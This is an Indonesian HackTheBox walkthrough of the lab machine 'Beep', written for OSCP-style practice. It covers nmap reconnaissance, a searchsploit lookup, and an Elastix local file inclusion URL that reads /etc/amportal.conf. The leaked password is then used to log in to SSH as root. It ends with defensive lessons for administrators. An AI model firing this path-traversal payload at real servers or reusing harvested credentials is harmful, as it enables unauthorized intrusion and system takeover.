HACKTHEBOX WALKTHROUGH

Beep Machine

CVE N/A (Without Metasploit)

Dimas Kusuma
4 min readAug 27, 2020

Trimakasih sudah meluangkan waktu untuk membaca artikel ini. Saat ini penulis menghadapi mesin retired HTB “Beep” yang dimana total ada 65 mesin retired yang penulis akan tempuh dan di dokumentasikan di akun medium ini.

Semoga pembaca semakin diberkahi dan ditingkatkan keilmuannya, serta selalu tercapai setiap tujuan dan cita-citanya atas Kehendak-Nya, juga yang sedang menempuh sertifikasi OSCP semoga tercapai dan sukses total, Amiin. Full list mesin retired HTB by netsecfocus dapat di akses disini.

Reconnaissance

Pada tahap recon penulis menggunakan nmapAutomator untuk melakukan full scanning nmap dengan beberapa opsi maksimal yang ada di nmap.

./nmapAutomator.sh 10.10.10.7 All

Ketika dijalankan, nmapAutomator menghasilkan output seperti berikut :

Running all scans on 10.10.10.7Host is likely running Linux---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-25 14:42 WIB
Nmap scan report for 10.10.10.7
Host is up (0.023s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
443/tcp open https
993/tcp open imaps
995/tcp open pop3s
3306/tcp open mysql
4445/tcp open upnotifyp
10000/tcp open snet-sensor-mgmt
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds---------------------Starting Nmap Basic Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-25 14:42 WIB
Nmap scan report for 10.10.10.7
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: EXPIRE(NEVER) APOP USER STLS RESP-CODES LOGIN-DELAY(0) TOP PIPELINING IMPLEMENTATION(Cyrus POP3 server v2) AUTH-RESP-CODE UIDL
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: ATOMIC NAMESPACE ANNOTATEMORE X-NETSCAPE UIDPLUS URLAUTHA0001 Completed BINARY RIGHTS=kxte ID MULTIAPPEND LIST-SUBSCRIBED MAILBOX-REFERRALS SORT=MODSEQ IDLE IMAP4rev1 IMAP4 SORT CONDSTORE CATENATE NO ACL THREAD=REFERENCES STARTTLS THREAD=ORDEREDSUBJECT LISTEXT CHILDREN LITERAL+ RENAME UNSELECT OK QUOTA
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Elastix - Login page
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_ssl-date: 2020-08-25T07:45:47+00:00; -1s from scanner time.
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
3306/tcp open mysql MySQL (unauthorized)
4445/tcp open upnotifyp?
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-server-header: MiniServ/1.570
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com
Host script results:
|_clock-skew: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 289.40 seconds
----------------------Starting Nmap UDP Scan----------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-25 14:47 WIB
Warning: 10.10.10.7 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.7
Host is up (0.025s latency).
Not shown: 979 open|filtered ports, 18 closed ports
PORT STATE SERVICE
111/udp open rpcbind
123/udp open ntp
10000/udp open ndmp
Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds

Ditemukan 12 (dua belas) open port, dan terdapat landing page pada http service.

Enumeration

Diketahui bahwa server menjalankan elastix sebagai VOIP server.

Kemudian penulis mengetahui bahwa server menjalankan elastix tahun 2006–2020, dan penulis mencari exploit elastix yang dapat dijalankan pada server target berdasarkan versi elastix yang digunakan.

# searchsploit elastix

Dari 7 (tujuh) exploit yang tertera, penulis memilih exploit elastix 37637 dengan Local File Inclusion vulnerability.

searchsploit -x 37637

Exploit

Kemudian penulis langsung mengakses url target dengan LFI exploit elastix 2.2.0

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

Yap, terkonfirmasi bahwa elastix 2.2.0 yang dijalankan mesin target terdapat vulnerability local file inclusion. Kemudian penulis menemukan credentials berupa :

AMPMGRPASS=jEhdIekWmdjE

Kemudian penulis mencoba menggunakan password yang didapatkan untuk login ssh sebagai root.

# ssh root@10.10.10.7

Root !

Kesimpulan

  1. System administrator sebaiknya selalu melakukan update versi aplikasi secara berkala, dan selalu melakukan pengecekan secara berkala apakah aplikasi yang dijalankan terdapat vulnerability atau belum.
  2. System administrator sangat dilarang untuk menggunakan password yang sama di setiap otentikasi, terutama jangan menggunakan password untuk otentikasi aplikasi yang sama dengan password root.
  3. System administrator seharus nya tidak membiarkan user root untuk dapat login via ssh.

Target

60 mesin lagi !

--

--